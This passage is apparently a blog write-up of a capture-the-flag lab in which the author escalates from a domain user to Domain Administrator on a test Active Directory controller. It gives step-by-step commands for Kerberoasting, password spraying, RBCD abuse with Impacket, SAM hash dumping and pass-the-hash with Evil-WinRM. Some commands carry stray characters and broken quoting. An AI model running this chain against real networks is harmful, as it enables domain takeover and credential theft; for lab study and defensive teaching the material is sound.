2026-06-21T19:04:24+00:00<br>|_ssl-date: 2026-06-21T19:05:04+00:00; -1s from scanner time.<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found</pre><p>Several indicators immediately suggest that the target is a Domain Controller:</p><ul><li><strong>Kerberos (88/tcp)</strong> is present, which is used for Active Directory authentication.</li><li><strong>LDAP (389/tcp and 3268/tcp)</strong> is exposed, allowing directory services and potential user enumeration.</li><li><strong>SMB (445/tcp)</strong> and <strong>NetBIOS (139/tcp)</strong> are available for file sharing and domain communication.</li><li><strong>DNS (53/tcp)</strong> is running, which is commonly hosted on Domain Controllers.</li><li>The LDAP banner discloses the domain name <strong>ctf.local</strong>.</li><li>RDP information identifies the host as <strong>DC01.ctf.local</strong>.</li></ul><h3>Targeted Kerberoasting</h3><p>Since we had valid domain credentials, I attempted a targeted Kerberoast attack.</p><pre>python3 targetedKerberoast.py -v -d ctf.local -u j.smith -p &#39;JSmith@IT2024&#39;</pre><p>The attack successfully identified a service account:</p><pre>svc.helpdesk</pre><p>and returned a Kerberos service ticket hash.</p><p>Unfortunately, the hash was not crackable within a reasonable timeframe, so I shifted focus toward credential discovery elsewhere in the environment.</p><h3>Discovering Additional Credentials</h3><p>Using the supplied credentials, I logged into the machine via RDP.</p><pre>rdesktop 10.146.184.225 -u j.smith -p &#39;JSmith@IT2024&#39;</pre><p>After exploring the user profile, I discovered a KeePass database stored in the Documents directory.</p><p>Inside the vault were two credential sets:</p><pre>t.jones : Helpdesk01!<br>Michael321 : 12345</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWIfTubpR2_KH6FSpk-UKw.png" /></figure><h3>Validating Credentials</h3><p>Testing both credential pairs revealed that only the Help Desk account had meaningful access.</p><pre>nxc smb 10.146.184.225 -u t.jones -p &#39;Helpdesk01!&#39; --shares</pre><p>The credentials authenticated successfully.</p><p>The second credential pair authenticated only as a guest account and did not provide useful access.</p><h3>Password Reuse Discovery</h3><p>One of the most common weaknesses in Active Directory environments is password reuse.</p><p>Using the newly acquired password, I enumerated domain users and exported them to a file.</p><pre>nxc smb 10.146.184.225 -u t.jones -p &#39;Helpdesk01!&#39; --users-export usernames.txt</pre><p>This produced a list of domain accounts including:</p><pre>Administrator<br>j.smith<br>t.jones<br>r.williams<br>svc.helpdesk</pre><p>I then performed a password spray using the Help Desk password.</p><pre>nxc smb 10.146.184.225 -u usernames.txt -p &#39;Helpdesk01!&#39; --continue-on-success</pre><p>The results showed another valid account:</p><pre>r.williams : Helpdesk01!</pre><p>This indicated password reuse between help desk employees.</p><h3>BloodHound Analysis</h3><p>With the newly acquired credentials, I collected BloodHound data and analyzed privilege relationships.</p><pre>nxc ldap 10.146.184.225-u &#39;r.williams -p &#39;Helpdesk01!&#39; - bloodhound - collection All - dns-server 10.146.184.225</pre><p>The critical finding was that r.williams has Outbound Object Control over DC01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*aG-lZAWxDaSvwDimEmoBIw.png" /></figure><p>This was the breakthrough.</p><p>Control over the Domain Controller computer object can frequently be leveraged through Resource-Based Constrained Delegation (RBCD).</p><h3>Exploiting Resource-Based Constrained Delegation</h3><h3>Step 1: Create a Controlled Machine Account</h3><p>Most Active Directory environments allow authenticated users to create computer objects.</p><p>I created a new machine account:</p><pre>addcomputer.py -method SAMR -computer-name &#39;AG3NT$&#39;* -pass &#39;Orang3!&#39; -dc-host DC01.ctf.local -domain-netbios ctf.local &#39;ctf.local/r.williams:Helpdesk01!&#39;</pre><p>The account was created successfully.</p><h3>Step 2: Configure Delegation Rights</h3><p>Using the permissions inherited through r.williams, I modified the Domain Controller’s delegation settings.</p><pre>impacket-rbcd -delegate-from &#39;*AG3NT$&#39;*&#39; -delegate-to &#39;DC01$&#39; -action write &#39;ctf.local/r.williams:Helpdesk01!&#39;</pre><p>The operation completed successfully.</p><p>At this point, our attacker-controlled machine account was trusted to act on behalf of users against the Domain Controller.</p><h3>Step 3: Request a Service Ticket as Administrator</h3><p>Now the Kerberos S4U process could be abused.</p><p>Using Impacket’s getST utility:</p><pre>impacket-getST -spn &#39;cifs/dc01.ctf.local&#39; -impersonate Administrator &#39;ctf.local/*AG3NT$&#39;*:Orang3!</pre><p>This generated a Kerberos ticket:</p><pre>Administrator@cifs_dc01.ctf.local@CTF.LOCAL.ccache</pre><h3>Step 4: Pass the Ticket</h3><p>Export the generated ticket:</p><pre>export KRB5CCNAME=Administrator@cifs_dc01.ctf.local@CTF.LOCAL.ccache</pre><p>Verify access:</p><pre>nxc smb 10.146.184.225 -u Administrator -k --use-kcache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rxrbuaGmq3k3EJr8_K6OYg.png" /></figure><p>The result: Pwn3d! Confirmed successful impersonation of the Domain Administrator account.</p><h3>Dumping Administrator Credentials</h3><p>With administrative access established, dumping local account hashes became trivial.</p><pre>nxc smb 10.146.184.225 -u Administrator -k --use-kcache --sam</pre><p>This revealed the Administrator NTLM hash:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVdH_-l6rmF6wKmShO-9NA.png" /></figure><h3>Accessing the Administrator Account</h3><p>Using Pass-the-Hash with Evil-WinRM:</p><pre>evil-winrm -i 10.146.184.225 -u Administrator -H &quot;admin hash&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oqw0zhe1xjjM6bzPy8jmoQ.png" /></figure><p>A successful session was obtained.</p><p>Navigating to the Administrator desktop revealed the final flag.</p><pre>cd C:\Users\Administrator\Desktop<br>cat flag.txt</pre><h3>Attack Path Summary</h3><p>The full compromise chain was:</p><ol><li>Authenticate as j.smith</li><li>Discover KeePass database via RDP</li><li>Recover t.jones credentials</li><li>Identify password reuse and obtain r.williams</li><li>Use BloodHound to discover control over DC01$</li><li>Create attacker-controlled machine account</li><li>Abuse Resource-Based Constrained Delegation</li><li>Impersonate Administrator through S4U2Proxy</li><li>Dump Administrator hash</li><li>Pass-the-Hash with Evil-WinRM</li><li>Capture the flag</li></ol><h3>Key Takeaways</h3><p>This room highlights several common Active Directory weaknesses:</p><ul><li>Credentials stored insecurely in password managers</li><li>Password reuse across administrative accounts</li><li>Excessive permissions assigned to help desk users</li><li>Misconfigured Resource-Based Constrained Delegation</li><li>The danger of allowing low-privileged users to create machine accounts</li></ul><p>While each issue individually may seem minor, chaining them together resulted in complete domain compromise.</p><h3>Conclusion</h3><p>Forward is an excellent demonstration of how Active Directory attack paths are often built from multiple small weaknesses rather than a single critical vulnerability. By combining credential discovery, password reuse, BloodHound analysis, and Kerberos delegation abuse, we were able to escalate from a standard domain user to full Domain Administrator access.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64a51ef00a07" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>